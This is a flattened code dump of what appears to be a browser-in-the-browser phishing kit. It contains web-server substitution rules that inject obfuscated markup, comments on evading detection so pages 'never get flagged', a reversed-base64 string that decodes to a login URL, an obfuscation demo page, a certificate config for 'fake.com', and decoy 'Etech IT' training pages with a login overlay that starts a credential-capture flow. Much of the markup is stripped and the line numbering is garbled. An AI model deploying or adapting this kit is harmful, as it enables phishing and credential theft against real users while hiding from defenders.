12 | # Inject relevant CSS file 13 | Substitute "s|||ni" 14 | 15 | 16 | 17 | # It is highly recommended that you obfuscate the HTML code 18 | # For the sake of easier walkthrough and keeping things readable, this demo is with only 19 | # obfuscating highly suspicious strings. 20 | # The upcoming advanced version will have way more advanced tricks to ensure we never get flagged. 21 | 22 | 23 | Substitute "s| \ 24 |
\ 25 |
\ 26 |
\ 27 |
\ 28 |
\ 29 |
\ 30 |
\ 31 |
\ 32 |
\ 33 |
\ 34 |
\ 35 | OBFS=Qnb192YjFGIyV3b5Byb0BibpBibnl2UEND \ 36 |
\ 37 |
\ 38 |
\ 39 | OBFS6MHc0RHaEND \ 40 | OBFS==QbvNmL0Z2bz9mcjlWbu4Wan9GbEND \ 41 | \ 42 | OBFS==AMuEjLwMjL20jclZXL05WZpx2YtgnJw8lNUVkTfRUS9U1ST1CduVWasNWL4ZSUjhWLsNEWiJERMJFV0BVaKlGVP92ZUd3S2YlZmlnRKhUaUFWNyJVRlV2b4AlTDl1NTlDOHdVcygURygnMrhmRhVjc2QDNtVzM3J0M5gTL3JnQ5ElUNljT1AnWWl0awh0dkllUtMDWEJEOzoWNnN2RzkGZ0I2Z5UFTPx2Xn5GduNHVlVHdRljdSVWawlFe5p0cGhGVtQ3XPZ0MlZWZxkXdzhnNadWR340NnJlUzpHUvdFSy1yXqp0d6NDVxYmUYpnUTlFZzAVVWRWWCpFeDRWYMJXUwJ0ZKhULCFEO4IlR4czMZBTRo1UQ1xkU1MVTY5WaGJDT5sUSpJnczcEMQZnM48UQVhTeIJXa0EXcY92cKd2RZlFVS1TZ0FGdzZSZxUmZ5EjNidTO2ITL3kTYi1CM1ADNtYzMklTLxQTOmhjZ3IWPklWL0NXZ1FXZy1CduVWasNmJTVVLuVWP0tWbmMVVt4WZ9MXZsF2Yvx2XpVnJspVbZ1mVy4EbspXW3F1VaRXUqlVMrRFTxkUbaBDM5llenpmW0dmeNBTSXp1MBRVW3NGVPhmSE90MFd1TrpVbOR3YU1UerRFTqRmeOBDMppFakpWW0FFVaBTUEplaORkTuATOzczNzcTOzkzNxYTMzgzM20TZj52buZCdz9Gcf1mcvZWPlR2bt9VZz52bwNXZyZCbsFkLl12bIV2YpZmZPZkMlIjdGJTJt92YuU2YpZmZv5yd3dnRyUiRyUSQzUycwRHdoBjMlUGbpZ2byBHMyUCZp5WZw9WPlB3bjNnJuV2avR3XklGMyUSZk92Y9UGc5R3XlNnbvB3clJnJyY3ZulGZuFGbGJTJt92YuU2YpZmZv5yd3dnRyUiRyUSQzUycwRHdo1TayV3X0NWZylGZlJnJhNmN3ITN2czM5QWMtYTZzgTLwIWO00iNjJzMtIWN0QTN2cDN9QWafRnbllGbj9TZ6lmcvhGd1F2Lw4iM29iMoRXdh92Lu9Wbt92YEND \ 43 | \ 44 |
\ 45 |
\ 46 |
\ 47 |
\ 48 |
\ 49 |
OBFS==QbvNmL0Z2bz9mcjlWbu4Wan9GbEND
\ 50 |
\ 51 |
\ 52 |
\ 53 |
\ 54 |
\ 55 |
\ 56 |
OBFS=Umc1NWZzBycpBibvlGdjVmbu92QEND
\ 57 |
\ 58 |
\ 59 |
\ 60 |
\ 61 |
\ 62 |
\ 63 |
OBFShRXYkBSZ0l2cgQmbhBycll2av92QEND
\ 64 |
\ 65 |
\ 66 |
\ 67 |
\ 68 |
\ 69 |
\ 70 |
OBFS==wcn5Wa0RXZzBSZ0l2UEND
\ 71 |
\ 72 |
\ 73 |
\ 74 |
\ 75 |
\ 76 |
\ 77 |
\ 78 |
\ 79 |
| \ 8 | \ 9 | |ni" 10 | 11 | 12 | # Inject relevant CSS file 13 | Substitute "s|||ni" 14 | 15 | # It is highly recommended that you obfuscate the HTML code 16 | # For the sake of easier walkthrough and keeping things readable, this demo is with only 17 | # obfuscating highly suspicious strings. 18 | # The upcoming advanced version will have way more advanced tricks to ensure we never get flagged. 19 | 20 | 21 | Substitute "s| \ 22 |
\ 23 |
\ 24 |
\ 25 |
\ 26 |
\ 27 |
\ 28 | \ 29 | OBFS=Qnb192YjFGIyV3b5Byb0BibpBibnl2UEND \ 30 |
\ 31 |
\ 32 | \ 33 |
\ 34 |
\ 35 | \ 36 |
\ 37 |
\ 38 | \ 39 |
\ 40 |
\ 41 |
\ 42 |
\ 43 |
\ 44 | OBFS6MHc0RHaEND \ 45 | OBFS==QbvNmL0Z2bz9mcjlWbu4Wan9GbEND \ 46 | \ 47 | OBFS==AMuEjLwMjL20jclZXL05WZpx2YtgnJw8lNUVkTfRUS9U1ST1CduVWasNWL4ZSUjhWLsNEWiJERMJFV0BVaKlGVP92ZUd3S2YlZmlnRKhUaUFWNyJVRlV2b4AlTDl1NTlDOHdVcygURygnMrhmRhVjc2QDNtVzM3J0M5gTL3JnQ5ElUNljT1AnWWl0awh0dkllUtMDWEJEOzoWNnN2RzkGZ0I2Z5UFTPx2Xn5GduNHVlVHdRljdSVWawlFe5p0cGhGVtQ3XPZ0MlZWZxkXdzhnNadWR340NnJlUzpHUvdFSy1yXqp0d6NDVxYmUYpnUTlFZzAVVWRWWCpFeDRWYMJXUwJ0ZKhULCFEO4IlR4czMZBTRo1UQ1xkU1MVTY5WaGJDT5sUSpJnczcEMQZnM48UQVhTeIJXa0EXcY92cKd2RZlFVS1TZ0FGdzZSZxUmZ5EjNidTO2ITL3kTYi1CM1ADNtYzMklTLxQTOmhjZ3IWPklWL0NXZ1FXZy1CduVWasNmJTVVLuVWP0tWbmMVVt4WZ9MXZsF2Yvx2XpVnJspVbZ1mVy4EbspXW3F1VaRXUqlVMrRFTxkUbaBDM5llenpmW0dmeNBTSXp1MBRVW3NGVPhmSE90MFd1TrpVbOR3YU1UerRFTqRmeOBDMppFakpWW0FFVaBTUEplaORkTuATOzczNzcTOzkzNxYTMzgzM20TZj52buZCdz9Gcf1mcvZWPlR2bt9VZz52bwNXZyZCbsFkLl12bIV2YpZmZPZkMlIjdGJTJt92YuU2YpZmZv5yd3dnRyUiRyUSQzUycwRHdoBjMlUGbpZ2byBHMyUCZp5WZw9WPlB3bjNnJuV2avR3XklGMyUSZk92Y9UGc5R3XlNnbvB3clJnJyY3ZulGZuFGbGJTJt92YuU2YpZmZv5yd3dnRyUiRyUSQzUycwRHdo1TayV3X0NWZylGZlJnJhNmN3ITN2czM5QWMtYTZzgTLwIWO00iNjJzMtIWN0QTN2cDN9QWafRnbllGbj9TZ6lmcvhGd1F2Lw4iM29iMoRXdh92Lu9Wbt92YEND \ 48 | \ 49 |
\ 50 |
\ 51 |
\ 52 |
\ 53 |
\ 54 |
OBFS==QbvNmL0Z2bz9mcjlWbu4Wan9GbEND
\ 55 |
\ 56 |
\ 57 |
\ 58 |
\ 59 |
\ 60 |
\ 61 |
OBFS=Umc1NWZzBycpBibvlGdjVmbu92QEND
\ 62 |
\ 63 |
\ 64 |
\ 65 |
\ 66 |
\ 67 |
\ 68 |
OBFShRXYkBSZ0l2cgQmbhBycll2av92QEND
\ 69 |
\ 70 |
\ 71 |
\ 72 |
\ 73 |
\ 74 |
\ 75 |
OBFS==wcn5Wa0RXZzBSZ0l2UEND
\ 76 |
\ 77 |
\ 78 |
\ 79 |
\ 80 |
\ 81 |
\ 82 |
\ 83 |
\ 84 |
2 | 3 | 4 | 5 | 6 | Demo Obfuscator & Deobfuscator 7 | 101 | 102 | 103 |
104 |

Demo Obfuscator & Deobfuscator

105 |
106 | 107 | 108 | 109 |
110 |
111 |

URL Outputs:

112 |

Obfuscated URL:

113 |

Obfuscated Scheme:

114 |

Obfuscated Domain:

115 |

Obfuscated Path:

116 |

Deobfuscated URL:

117 |
118 |
119 |

String Outputs:

120 |

Obfuscated String:

121 |

Deobfuscated String:

122 |
123 |
124 | 125 | 189 | 190 | 191 | 192 | 193 | 194 | -------------------------------------------------------------------------------- /openssl-local.cnf: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = req_distinguished_name 4 | req_extensions = req_ext 5 | x509_extensions = v3_req 6 | prompt = no 7 | 8 | [ req_distinguished_name ] 9 | C = US 10 | ST = California 11 | L = San Francisco 12 | O = FramelessBITB 13 | OU = Local 14 | CN = fake.com 15 | 16 | [ req_ext ] 17 | subjectAltName = @alt_names 18 | 19 | [ v3_req ] 20 | basicConstraints = CA:FALSE 21 | keyUsage = digitalSignature, keyEncipherment 22 | extendedKeyUsage = serverAuth, clientAuth 23 | subjectAltName = @alt_names 24 | 25 | [ alt_names ] 26 | DNS.1 = fake.com 27 | DNS.2 = *.fake.com -------------------------------------------------------------------------------- /pages/home/images/email-header.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/home/images/email-header.png -------------------------------------------------------------------------------- /pages/home/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/home/images/favicon.ico -------------------------------------------------------------------------------- /pages/home/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/home/images/logo.png -------------------------------------------------------------------------------- /pages/home/images/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /pages/home/images/techLeft.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /pages/home/images/techRight.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /pages/home/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Etech IT - Cybersecurity Solutions 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 21 |
Contact us: +1 (123) 456-7890
22 |
23 | 24 |
25 | 26 | 27 | 28 | 29 |
30 | 31 |
32 |
33 |

Security

34 |

in the first place

35 |
36 |
37 |
38 |
39 |
40 |

Empower your organization with Etech IT - your ally in cybersecurity training and digital safety. Secure your future with us.

41 |
42 |
43 |
44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 |
85 |
86 |
87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 |
131 |
132 | 133 | 134 | 135 | 136 | 137 | 138 |
139 |
140 |
141 | 145 |
146 |
147 | 151 |
152 |
153 | 154 | 155 | 156 | 157 |
158 | 159 | 166 | 167 | 168 | 169 | 170 | -------------------------------------------------------------------------------- /pages/home/script.js: -------------------------------------------------------------------------------- 1 | function contact() 2 | { 3 | window.location.href = "mailto:info@etech-it.com"; 4 | } -------------------------------------------------------------------------------- /pages/home/style.css: -------------------------------------------------------------------------------- 1 | /* Basic Reset */ 2 | * { 3 | margin: 0; 4 | padding: 0; 5 | box-sizing: border-box; 6 | font-family: Arial, sans-serif; 7 | } 8 | 9 | @import url('https://fonts.googleapis.com/css2?family=Exo+2:wght@300;500;700&display=swap'); 10 | * { 11 | font-family: 'Exo 2', sans-serif; 12 | 13 | } 14 | 15 | body { 16 | background-color:#212333; 17 | 18 | } 19 | 20 | h1, h2, h3, h4, h5, h6{ 21 | font-weight: 200; 22 | color: rgb(226, 226, 226); 23 | } 24 | 25 | .grid-container { 26 | 27 | display: grid; 28 | grid-template-columns: 1fr 1fr 1fr; 29 | grid-template-rows: 2.5fr; 30 | gap: 0px 0px; 31 | grid-template-areas: 32 | "pageLeft pageCenter pageRight"; 33 | } 34 | .pageCenter { 35 | margin-top: 10vh; 36 | display: grid; 37 | grid-template-columns: 1fr; 38 | grid-template-rows: 0.6fr 0.1fr 0.5fr 0.1fr; 39 | gap: 45px 0px; 40 | grid-template-areas: 41 | "pageTitle" 42 | "pageSeparator" 43 | "pageDescription" 44 | "pageButton"; 45 | grid-area: pageCenter; 46 | } 47 | 48 | .pageTitle { 49 | grid-area: pageTitle; 50 | text-align: center; 51 | } 52 | 53 | .pageTitle h1 { 54 | margin: 0; 55 | font-weight: bold; 56 | font-size: 10em; 57 | } 58 | .pageTitle h2 { 59 | margin: 0; 60 | margin-top: -0.5em; 61 | font-weight: 700; 62 | font-size: 3.5em; 63 | } 64 | 65 | 66 | .pageSeparator { 67 | grid-area: pageSeparator; 68 | display: grid; 69 | place-items: center; 70 | } 71 | 72 | .pageSeparator .separator{ 73 | background-color: #02D975; 74 | width: 70px; 75 | height: 5px; 76 | border-radius: 100px; 77 | } 78 | 79 | .pageDescription { 80 | grid-area: pageDescription; 81 | place-items: center; 82 | text-align: center; 83 | font-size: 1.2em; 84 | font-weight: 300; 85 | max-width: 40vw; 86 | 87 | } 88 | 89 | .pageDescription h3 { 90 | margin: 0px; 91 | color: rgb(192, 192, 192); 92 | } 93 | 94 | .pageButton { 95 | 96 | grid-area: pageButton; 97 | display: grid; 98 | place-items: center; 99 | 100 | } 101 | 102 | .pageButton button { 103 | cursor: pointer; 104 | background-color: #007840; 105 | color: #e9e9e9; 106 | font-size: 1.1em; 107 | border: 0; 108 | padding: 20px 50px; 109 | 110 | max-height: 70px; 111 | width: 250px; 112 | 113 | border-radius: 100px; 114 | box-shadow: 0px 8px 50px 5px #02d97542; 115 | } 116 | 117 | .pageButton button:hover { 118 | background-color: #277953; 119 | color: #e9e9e9; 120 | } 121 | 122 | .pageButton button:active { 123 | background-color: #277953; 124 | color: #e9e9e9; 125 | } 126 | 127 | .pageButton svg { 128 | 129 | float: left; 130 | 131 | } 132 | 133 | 134 | #circleTiny, 135 | #circleMiddle, 136 | #circleBig { 137 | fill: #02D975; 138 | } 139 | 140 | 141 | #circleBig { 142 | transition: all 0.7s ease; 143 | } 144 | #circleMiddle { 145 | transition: all 1.1s ease; 146 | } 147 | #circleTiny { 148 | transition: all 1.6s ease; 149 | } 150 | 151 | .pageButton:hover #circleTiny{ 152 | transform: translateY(-40%); 153 | opacity: 0; 154 | } 155 | 156 | .pageButton:hover #circleMiddle{ 157 | transform: translateY(-40%); 158 | opacity: 0; 159 | } 160 | 161 | .pageButton:hover #circleBig{ 162 | transform: translateY(-40%); 163 | opacity: 0; 164 | } 165 | 166 | 167 | .pageLeft { 168 | grid-area: pageLeft; 169 | margin-top: 20vh; 170 | display: grid; 171 | place-items: center; 172 | } 173 | 174 | .pageRight { 175 | grid-area: pageRight; 176 | margin-top: 20vh; 177 | display: grid; 178 | place-items: center; 179 | } 180 | 181 | 182 | 183 | .container { 184 | display: flex; 185 | } 186 | .container > div { 187 | flex: 1; /*grow*/ 188 | } 189 | 190 | html, 191 | body { 192 | max-height: 100%; 193 | max-width: 100%; 194 | } 195 | 196 | 197 | /* Header */ 198 | header { 199 | background-color: #121212; 200 | color: #fff; 201 | padding: 10px 0; 202 | display: flex; 203 | justify-content: space-between; 204 | align-items: center; 205 | } 206 | 207 | #logo { 208 | margin-left: 20px; 209 | font-size: 24px; 210 | } 211 | 212 | nav a { 213 | color: #fff; 214 | text-decoration: none; 215 | margin: 0 15px; 216 | } 217 | 218 | nav a:hover { 219 | text-decoration: underline; 220 | } 221 | 222 | #contact { 223 | margin-right: 20px; 224 | } 225 | 226 | /* Main Content */ 227 | main { 228 | padding: 15px 10% 40px 10%; 229 | min-height: 100vh; 230 | /* background-color: #dbdbdb; */ 231 | background-color: #1e1d1d; 232 | /* background-color: #e0e0e0; */ 233 | } 234 | 235 | 236 | 237 | #hero { 238 | 239 | display: none; 240 | 241 | /* background-color: #f5f5f5; */ 242 | padding: 40px 0; 243 | text-align: center; 244 | 245 | } 246 | 247 | #training-info { 248 | background-color: #f5f5f5; 249 | padding: 20px 10%; 250 | border: 1px solid #ddd; 251 | position: relative; 252 | pointer-events: none; 253 | cursor: not-allowed; 254 | } 255 | 256 | 257 | 258 | #proceed-login { 259 | display: block; 260 | background-color: #007BFF; 261 | color: #fff; 262 | border: none; 263 | padding: 10px 20px; 264 | cursor: pointer; 265 | border-radius: 5px; 266 | margin-top: 20px; 267 | } 268 | 269 | #proceed-login:hover { 270 | background-color: #0056b3; 271 | } 272 | 273 | /* Footer */ 274 | footer { 275 | background-color: #121212; 276 | color: #fff; 277 | padding: 15px 50px; 278 | text-align: center; 279 | position: sticky; 280 | bottom: 0; 281 | width: 100%; 282 | display: flex; 283 | flex-direction: row; 284 | justify-content: space-between; 285 | align-items: center; 286 | z-index: 1000000; 287 | } 288 | 289 | footer nav a { 290 | color: #fff; 291 | text-decoration: none; 292 | margin: 0 10px; 293 | } 294 | 295 | footer nav a:hover { 296 | text-decoration: underline; 297 | } 298 | 299 | 300 | h1, 301 | h2, 302 | h3 { 303 | margin-bottom: 10px; 304 | } 305 | 306 | 307 | 308 | 309 | #registration-form-section { 310 | margin-top: 21px; 311 | min-height: 85vh; 312 | } 313 | 314 | 315 | #calendly-frame { 316 | min-height: 85vh; 317 | } 318 | 319 | 320 | 321 | #lgOverlay-container{ 322 | 323 | position: absolute; 324 | display: block; 325 | width: 80vw; 326 | height: 85vh; 327 | background-color: rgb(0 0 0 / 70%); 328 | z-index: 9; 329 | } 330 | 331 | #lg-h { 332 | font-weight: 600; 333 | text-align: left; 334 | } 335 | 336 | #lg-p { 337 | padding-left: 5px; 338 | text-align: left; 339 | } 340 | 341 | #login-btn { 342 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 343 | display: flex; 344 | background-color: #2F2F2F; 345 | color: #fff; 346 | border: none; 347 | padding: 0px 12px; 348 | cursor: pointer; 349 | border-radius: 5px; 350 | margin-top: 20px; 351 | text-align: center; 352 | width: fit-content; 353 | height: 41px; 354 | font-size: 15px; 355 | font-weight: 500; 356 | align-items: center; 357 | justify-content: center; 358 | margin: auto; 359 | margin-top: 27px; 360 | } 361 | 362 | #lgImg { 363 | width: 21px; 364 | height: 21px; 365 | margin: 0px 12px 0px 0px; 366 | 367 | } 368 | 369 | #login-btn:hover { 370 | background-color: #000; 371 | } 372 | 373 | #paywall-modal { 374 | display: block; 375 | position: absolute; 376 | top: 50%; 377 | left: 50%; 378 | transform: translate(-50%, -50%); 379 | background-color: #fff; 380 | padding: 20px 36px; 381 | border: 2px solid #ddd; 382 | width: 45%; 383 | height: 181px; 384 | text-align: center; 385 | z-index: 10; 386 | border-radius: 5px; 387 | box-shadow: 0 0 5px 0px black; 388 | } -------------------------------------------------------------------------------- /pages/primary/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/primary/images/favicon.ico -------------------------------------------------------------------------------- /pages/primary/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/primary/images/logo.png -------------------------------------------------------------------------------- /pages/primary/images/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /pages/primary/images/msf.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/primary/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Etech IT - Cybersecurity Solutions 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 24 |
Contact us: +1 (123) 456-7890
25 |
26 | 27 |
28 |
29 |

Welcome to Etech IT - Cybersecurity Solutions

30 | 31 |

Your trusted partner in cybersecurity solutions.

32 |
33 | 34 |
35 |
36 |

Upcoming Security Awareness Training

37 | 38 |

Join our exclusive 1:1 training session to enhance your security skills and awareness.

39 | 40 |
41 | 42 |
43 |
44 |

This training is exclusive for enterprise customers

45 |

If you received an invitation, please login to continue.

46 | 47 | 48 |
49 | 50 |
51 | 52 | 53 | 54 |
55 |
56 | 57 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /pages/primary/script.js: -------------------------------------------------------------------------------- 1 | 2 | if (typeof PREFIX === 'undefined' || typeof SUFFIX === 'undefined'){ 3 | const PREFIX = "OBFS"; 4 | const SUFFIX = "END"; 5 | } 6 | 7 | 8 | const CALENDLY_PAGE_NAME = "etech-it"; 9 | const CALENDLY_EVENT_TYPE = "cyber-training" 10 | 11 | 12 | const INVITEE_NAME = ""; 13 | const INVITEE_EMAIL = ""; 14 | 15 | const shadowhost = document.getElementById('primary'); 16 | const shadowroot = shadowhost.shadowRoot; 17 | 18 | 19 | 20 | function deobfString(str) { 21 | let withoutPrefixSuffix = str.slice(PREFIX.length, -SUFFIX.length); 22 | let reversed = withoutPrefixSuffix.split('').reverse().join(''); 23 | return atob(reversed); 24 | } 25 | 26 | 27 | 28 | function initializePage() { 29 | 30 | console.log("Primary Received: PrimaryContentLoaded") 31 | 32 | const loginBtn = shadowroot.getElementById("login-btn"); 33 | 34 | loginBtn.innerHTML = `${deobfString(loginBtn.innerText)}` 35 | 36 | loginBtn.addEventListener("click", triggerSecondaryFlowStart); 37 | 38 | const buildURL = () => { 39 | return calendlyURL = 'https://calendly.com/'+CALENDLY_PAGE_NAME+'/'+CALENDLY_EVENT_TYPE+'?embed_type=Inline&name='+INVITEE_NAME+'&email='+INVITEE_EMAIL; 40 | }; 41 | 42 | const showCalendly = () => { 43 | const calendlyURL = buildURL(); 44 | const calendlyFrame = shadowroot.getElementById('calendly-frame'); 45 | calendlyFrame.src = calendlyURL; 46 | }; 47 | showCalendly(); 48 | 49 | document.addEventListener("secondaryFlowCompleted", handleSecondaryFlowComplete); 50 | 51 | } 52 | 53 | 54 | function triggerSecondaryFlowStart(){ 55 | // Function to be called to let secondary know the start action is triggered. 56 | document.dispatchEvent(new CustomEvent('secondaryFlowStart', {bubbles: true, composed: true})); 57 | } 58 | 59 | 60 | function handleSecondaryFlowComplete(){ 61 | console.log("Primary Received: secondaryFlowCompleted") 62 | // When the flow is done from secondary, remove the "paywall". 63 | const primaryOverlay = shadowroot.getElementById('primary-overlay-container'); 64 | primaryOverlay.style.display = 'none'; 65 | primaryOverlay.style.pointerEvents = 'auto'; 66 | } 67 | 68 | 69 | // Listen to custom event equivalent to DOMContentLoaded but when fetch and injection is complete 70 | document.addEventListener("PrimaryContentLoaded", initializePage); 71 | 72 | // Listen to secondary flow completed event 73 | document.addEventListener("secondaryFlowCompleted", handleSecondaryFlowComplete); 74 | 75 | 76 | // We could also trigger different logic if the page is accessed directly by listening to DOM events 77 | 78 | -------------------------------------------------------------------------------- /pages/primary/styles.css: -------------------------------------------------------------------------------- 1 | /* Basic Reset */ 2 | * { 3 | margin: 0; 4 | padding: 0; 5 | box-sizing: border-box; 6 | font-family: Arial, sans-serif; 7 | } 8 | 9 | html, 10 | body { 11 | max-height: 100%; 12 | max-width: 100%; 13 | } 14 | 15 | 16 | /* Header */ 17 | header { 18 | background-color: #121212; 19 | color: #fff; 20 | padding: 10px 0; 21 | display: flex; 22 | justify-content: space-between; 23 | align-items: center; 24 | } 25 | 26 | #logo { 27 | margin-left: 20px; 28 | font-size: 24px; 29 | } 30 | 31 | nav a { 32 | color: #fff; 33 | text-decoration: none; 34 | margin: 0 15px; 35 | } 36 | 37 | nav a:hover { 38 | text-decoration: underline; 39 | } 40 | 41 | #contact { 42 | margin-right: 20px; 43 | } 44 | 45 | /* Main Content */ 46 | main { 47 | padding: 15px 10% 40px 10%; 48 | min-height: 100vh; 49 | /* background-color: #dbdbdb; */ 50 | /* background-color: #292929; */ 51 | background-color: #e0e0e0; 52 | } 53 | 54 | 55 | 56 | #hero { 57 | 58 | display: none; 59 | 60 | background-color: #f5f5f5; 61 | padding: 40px 0; 62 | text-align: center; 63 | 64 | } 65 | 66 | #training-info { 67 | background-color: #f5f5f5; 68 | padding: 20px 10%; 69 | border: 1px solid #ddd; 70 | position: relative; 71 | pointer-events: none; 72 | cursor: not-allowed; 73 | } 74 | 75 | 76 | 77 | #proceed-login { 78 | display: block; 79 | background-color: #007BFF; 80 | color: #fff; 81 | border: none; 82 | padding: 10px 20px; 83 | cursor: pointer; 84 | border-radius: 5px; 85 | margin-top: 20px; 86 | } 87 | 88 | #proceed-login:hover { 89 | background-color: #0056b3; 90 | } 91 | 92 | /* Footer */ 93 | footer { 94 | background-color: #121212; 95 | color: #fff; 96 | padding: 15px 50px; 97 | text-align: center; 98 | position: sticky; 99 | bottom: 0; 100 | width: 100%; 101 | display: flex; 102 | flex-direction: row; 103 | justify-content: space-between; 104 | align-items: center; 105 | z-index: 1000000; 106 | } 107 | 108 | footer nav a { 109 | color: #fff; 110 | text-decoration: none; 111 | margin: 0 10px; 112 | } 113 | 114 | footer nav a:hover { 115 | text-decoration: underline; 116 | } 117 | 118 | 119 | h1, 120 | h2, 121 | h3 { 122 | margin-bottom: 10px; 123 | } 124 | 125 | 126 | /* FORM */ 127 | 128 | 129 | #registration-form-section { 130 | margin-top: 21px; 131 | min-height: 85vh; 132 | } 133 | 134 | 135 | #calendly-frame { 136 | min-height: 85vh; 137 | } 138 | 139 | 140 | 141 | #primary-overlay-container{ 142 | 143 | position: absolute; 144 | display: block; 145 | width: 80vw; 146 | height: 85vh; 147 | background-color: rgb(0 0 0 / 70%); 148 | z-index: 9; 149 | } 150 | 151 | #lg-h { 152 | font-weight: 600; 153 | text-align: left; 154 | } 155 | 156 | #lg-p { 157 | padding-left: 5px; 158 | text-align: left; 159 | } 160 | 161 | #login-btn { 162 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 163 | display: flex; 164 | background-color: #2F2F2F; 165 | color: #fff; 166 | border: none; 167 | padding: 0px 12px; 168 | cursor: pointer; 169 | border-radius: 5px; 170 | margin-top: 20px; 171 | text-align: center; 172 | width: fit-content; 173 | height: 41px; 174 | font-size: 15px; 175 | font-weight: 500; 176 | align-items: center; 177 | justify-content: center; 178 | margin: auto; 179 | margin-top: 27px; 180 | } 181 | 182 | #lgImg { 183 | width: 21px; 184 | height: 21px; 185 | margin: 0px 12px 0px 0px; 186 | 187 | } 188 | 189 | #login-btn:hover { 190 | background-color: #000; 191 | } 192 | 193 | #paywall-modal { 194 | display: block; 195 | position: absolute; 196 | top: 50%; 197 | left: 50%; 198 | transform: translate(-50%, -50%); 199 | background-color: #fff; 200 | padding: 20px 36px; 201 | border: 2px solid #ddd; 202 | width: 45%; 203 | height: 181px; 204 | text-align: center; 205 | z-index: 10; 206 | border-radius: 5px; 207 | box-shadow: 0 0 5px 0px black; 208 | } -------------------------------------------------------------------------------- /pages/secondary/images/arrow-right.svg: -------------------------------------------------------------------------------- 1 